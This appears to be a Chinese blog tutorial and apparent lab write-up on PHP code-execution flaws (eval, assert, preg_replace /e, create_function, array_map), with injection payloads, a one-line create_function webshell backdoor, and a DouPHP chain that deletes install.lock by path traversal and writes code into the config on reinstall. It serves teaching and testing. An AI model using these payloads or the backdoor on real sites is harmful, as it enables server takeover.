代码执行漏洞(DouPHP)

目录

代码执行漏洞

用户输入的数据被当作后端代码执行
后端代码:PHP、ASP、ASPX、JSP

一句话木马就是最经典的代码执行

RCE
(remote command/code execute)远程命令或者代码执行
现在由于 RCE 这个词的滥用,范围较为广泛,可以理解为渗透的最终情况可以实现执行命令或者代码,例如:代码执行、文件包含、反序列化、命令执行,甚至是写文件的 getshell

函数

  • eval()
    可以执行多行代码
    eval('system("whoami");phpinfo();')
    代码执行漏洞(DouPHP)
  • assert()
    执行单行代码
    如果再次利用上述的两行代码进行测试(assert('system("whoami");phpinfo();')),我们只会看到第一个命令的返回结果
    代码执行漏洞(DouPHP)
    当然,如果禁用了eval()也可以用assert()包含:
<?php
preg_replace('/a/e', phpinfo(), 'asd');

代码执行漏洞(DouPHP)

  • preg_replace()
    正则替换函数
    当存在 \e 这个修饰符标签的时候会产生代码执行漏洞
    原本用法:preg_replace(正则表达式, 替换为的内容, 要过滤的字符串)
    漏洞示例:preg_replace('/a/e', phpinfo(), 'asd');
    代码执行漏洞(DouPHP)
  • create_function()
    匿名函数(可以理解为“一句话函数”)
    4.0.1 <= php < 7.2.0
    create_function(形参, 具体要执行的代码)
<?php
$a = create_function('$id', 'echo $id;');
$a(1+1);

代码执行漏洞(DouPHP)
示例 1

<?php
$a = create_function('', $_REQUEST[8]);

虽然是匿名函数,但实质上和正常函数的运行方式一样:

<?php
function a() {
	$_REQUEST[8];
}

payload:?8=}phpinfo();//
原来的代码就变成:

<?php
function a() {
	}phpinfo();//
}

整理一下:

<?php
function a() { }
phpinfo();	//}

代码执行漏洞(DouPHP)
示例 2

<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));

payload:?sort_by='"]);}phpinfo();//
整理:

function niming($a, $b) {
	return 1 * ' . $sorter . '($a["''"]);
}
phpinfo();	//}

代码执行漏洞(DouPHP)
示例 2

<?php
$c=$_GET['c'];
$lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen($c));");
$array=array('reall long string here,boy','this','midding lenth','larget');
usort($array,$lambda);
print_r($array);

payload:?c=));}phpinfo();//
整理:

function lambda($a, $b) {
	return (strlen($a)-strlen($b)+strlen());
}
phpinfo();	//}

代码执行漏洞(DouPHP)
后门
<?php $func =create_function('',$_POST['cmd']);$func();?>

  • array_map()
    回调函数
    array_map(要调用的函数, 要处理的值[数组])
<?php
array_map('assert', $_REQUEST);

payload:?6=system("whoami");&8=phpinfo();
代码执行漏洞(DouPHP)

  • 双引号命令执行
    "${phpinfo()}" php字符串的高级用法
    php >= 5.5

  • unlink()
    unlink()是永久删除,而且相对路径和绝对路径均可
    在项目上,CMS 都有一个锁文件(install.lock
    当删除、更名这个文件,CMS 就要重装(这里的源码全部使用的双引号,可以使用双引号命令执行)

这里必须介绍一下 CMS 安装时做了什么
①:检测环境是否符合条件
②:把数据库信息写入配置文件(覆盖)
③:连接数据库,写入数据(覆盖)

如果我们要对这个点进行测试,思路:
删除锁文件 -> 安装界面 -> 写配置 -> 代码执行
(这个操作需要报备,提醒大家不要轻易执行)

项目过程:
生产环境:真实使用(线上环境)
测试环境:专业测试(测试功能,测试 bug)
开发环境:开发专用(开发使用)

如何删除锁:
unlink()
一般 CMS 的锁文件在固定位置,大家如果不知道的话建议问开发(data、include、conn | config.php)


CMS => 安装程序,连接数据库,账户名、密码,并将其写入配置文件(conn.phpconfig.php
常见过滤 => 单双引号(魔术引号)

DouPHP

直接访问admin
代码执行漏洞(DouPHP)
代码执行漏洞(DouPHP)
admin/mobile.php下找到可利用的 unlink()
代码执行漏洞(DouPHP)
发现可以通过目录穿越删除../../../../data/install.lock
抓包
代码执行漏洞(DouPHP)

放包
代码执行漏洞(DouPHP)
现在可以重装 CMS 了
代码执行漏洞(DouPHP)
写入 执行语句并安装(数据库密码乱写,这样值配置文件,不写入数据)
代码执行漏洞(DouPHP)
成功
代码执行漏洞(DouPHP)
连上蚁剑可以看到,用户名的地方成功被我们写入
代码执行漏洞(DouPHP)
找到flag
代码执行漏洞(DouPHP)

上一篇:结构体初应用


下一篇:我的第九个代码